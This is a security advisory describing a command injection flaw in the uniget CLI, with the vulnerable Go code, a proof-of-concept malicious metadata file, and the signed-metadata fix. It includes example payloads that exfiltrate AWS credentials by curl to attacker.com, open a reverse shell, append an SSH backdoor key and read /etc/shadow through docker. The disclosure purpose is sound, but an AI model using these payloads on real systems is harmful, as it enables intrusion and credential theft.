CVE-2026-45152 — Command Injection via Unsanitized Metadata in uniget CLI
High-severity OS command injection in uniget CLI where the check field from JSON metadata is passed directly to /bin/bash -c without validation, enabling arbitrary command execution via crafted metadata files.
Vulnerability Overview
CVE-2026-45152 is a command injection vulnerability classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). CVSS 3.1 score: 7.8 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
The vulnerability exists because uniget reads a check field from JSON metadata files and passes it directly into /bin/bash -c without any validation, sanitization, or integrity verification. Because the shell interpreter processes special metacharacters before executing the intended command, an attacker who can control the contents of a metadata file can inject and execute arbitrary operating system commands on the victim’s machine.
Discovered and reported by: @0x5t4l1n
Fixed by: project maintainer Nicholas Dille
Patched in: uniget CLI v0.27.1 via GitLab merge request cli!239 — “fix: Only accept signed metadata”
What Is uniget
uniget is a universal installer and updater for container tools and developer utilities. It helps developers and DevOps engineers install, update, and manage CLI tools through a metadata-driven workflow. Each tool is described by a JSON metadata entry containing fields like name, version, binary path, description, and a check field used to verify the installed version at runtime.
uniget is widely used in developer workstations and CI/CD pipelines — making it an attractive target for supply chain attacks. A single compromised metadata file can affect every machine that consumes it.
The Vulnerable Code
The vulnerable function is RunVersionCheck() in tool.go:
func (tool *Tool) RunVersionCheck() (string, error) {
cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
version, err := cmd.Output()
return string(version), nil
}
The Tool struct is populated using json.Unmarshal() — the check JSON key maps directly to tool.Check with no validation step between reading the metadata file and passing its contents to the shell.
Why exec.Command with /bin/bash -c is Dangerous
When you call exec.Command("/bin/bash", "-c", someString), you launch a Bash shell and ask it to interpret someString as a shell script. Every special character Bash understands — ;, &&, ||, |, $(...), backticks, >, < — is interpreted by the shell before any binary runs.
The intended behavior for tool.Check = "git --version":
/bin/bash -c "git --version | tr -d '\n'"
The actual behavior for tool.Check = "echo '1.0.0'; id > /tmp/rce-proof.txt":
/bin/bash -c "echo '1.0.0'; id > /tmp/rce-proof.txt | tr -d '\n'"
The shell sees two commands separated by ;. id > /tmp/rce-proof.txt executes — any command could replace id.
Complete Data Flow
metadata.json on disk
↓ json.Unmarshal into Tool struct
tool.Check string ← attacker controls this
↓ string concatenation: tool.Check + " | tr -d '\n'"
Shell command string
↓ exec.Command("/bin/bash", "-c", shellCommandString)
/bin/bash process
↓ shell parses and executes
Arbitrary OS command execution
No defensive control exists at any point in this chain.
Proof of Concept
Set Up Malicious Metadata
mkdir -p ~/.local/var/cache/uniget
cat > ~/.local/var/cache/uniget/metadata.json << 'EOF'
{
"tools": [
{
"name": "evil-tool",
"version": "1.0.0",
"binary": "${target}/bin/evil-tool",
"check": "echo '1.0.0'; id > /tmp/rce-proof.txt",
"tags": ["test"],
"description": "RCE test",
"repository": "https://example.com",
"license": { "name": "MIT", "link": "https://example.com" },
"sources": [{ "registry": "ghcr.io", "repository": "uniget-org/tools" }]
}
]
}
EOF
Trigger via Normal Operation
uniget describe evil-tool --prefix ~/.local
The describe command looks completely innocuous to the user. Yet:
-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt
uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),27(sudo),128(docker)
The injected id command ran with full user privileges, including sudo and docker groups — both trivially escalatable to root.
Real-World Attack Payloads
# AWS credential exfiltration
"check": "echo '1.0.0'; cat ~/.aws/credentials | curl -s -X POST https://attacker.com/collect -d @-"
# Reverse shell
"check": "echo '1.0.0'; bash -i >& /dev/tcp/attacker.com/4444 0>&1"
# SSH backdoor
"check": "echo '1.0.0'; echo 'ssh-rsa AAAA...key...' >> ~/.ssh/authorized_keys"
# Docker root escalation (for docker group members)
"check": "echo '1.0.0'; docker run -v /:/mnt --rm alpine chroot /mnt cat /etc/shadow > /tmp/shadow"
The Fix — Signed Metadata
The fix (MR cli!239) requires all metadata to be cryptographically signed before uniget loads it. This addresses the root cause at the correct level: rather than trying to sanitize shell input (notoriously error-prone), uniget now ensures only metadata signed by trusted parties can reach RunVersionCheck().
An attacker who modifies metadata.json on disk invalidates the signature — uniget rejects the tampered file before loading it.
The underlying RunVersionCheck() pattern still exists but is now protected by the trust boundary of key management.
The Secure Coding Pattern
// ❌ Current — safe only because of signing
func (tool *Tool) RunVersionCheck() (string, error) {
cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
version, err := cmd.Output()
return string(version), nil
}
// ✅ Ideal — no shell involved at all
func (tool *Tool) RunVersionCheck() (string, error) {
cmd := exec.Command(tool.Binary, "--version")
out, err := cmd.Output()
if err != nil {
return "", err
}
return strings.TrimRight(string(out), "\n"), nil
}
References
- GitHub Security Advisory: https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5
- CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-45152
- GitLab Fix MR cli!239: https://gitlab.com/uniget-org/cli/-/merge_requests/239
- uniget v0.27.1 Release: https://github.com/uniget-org/cli/releases/tag/v0.27.1
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
Reported by @0x5t4l1n — Fixed by Nicholas Dille — Patched in uniget v0.27.1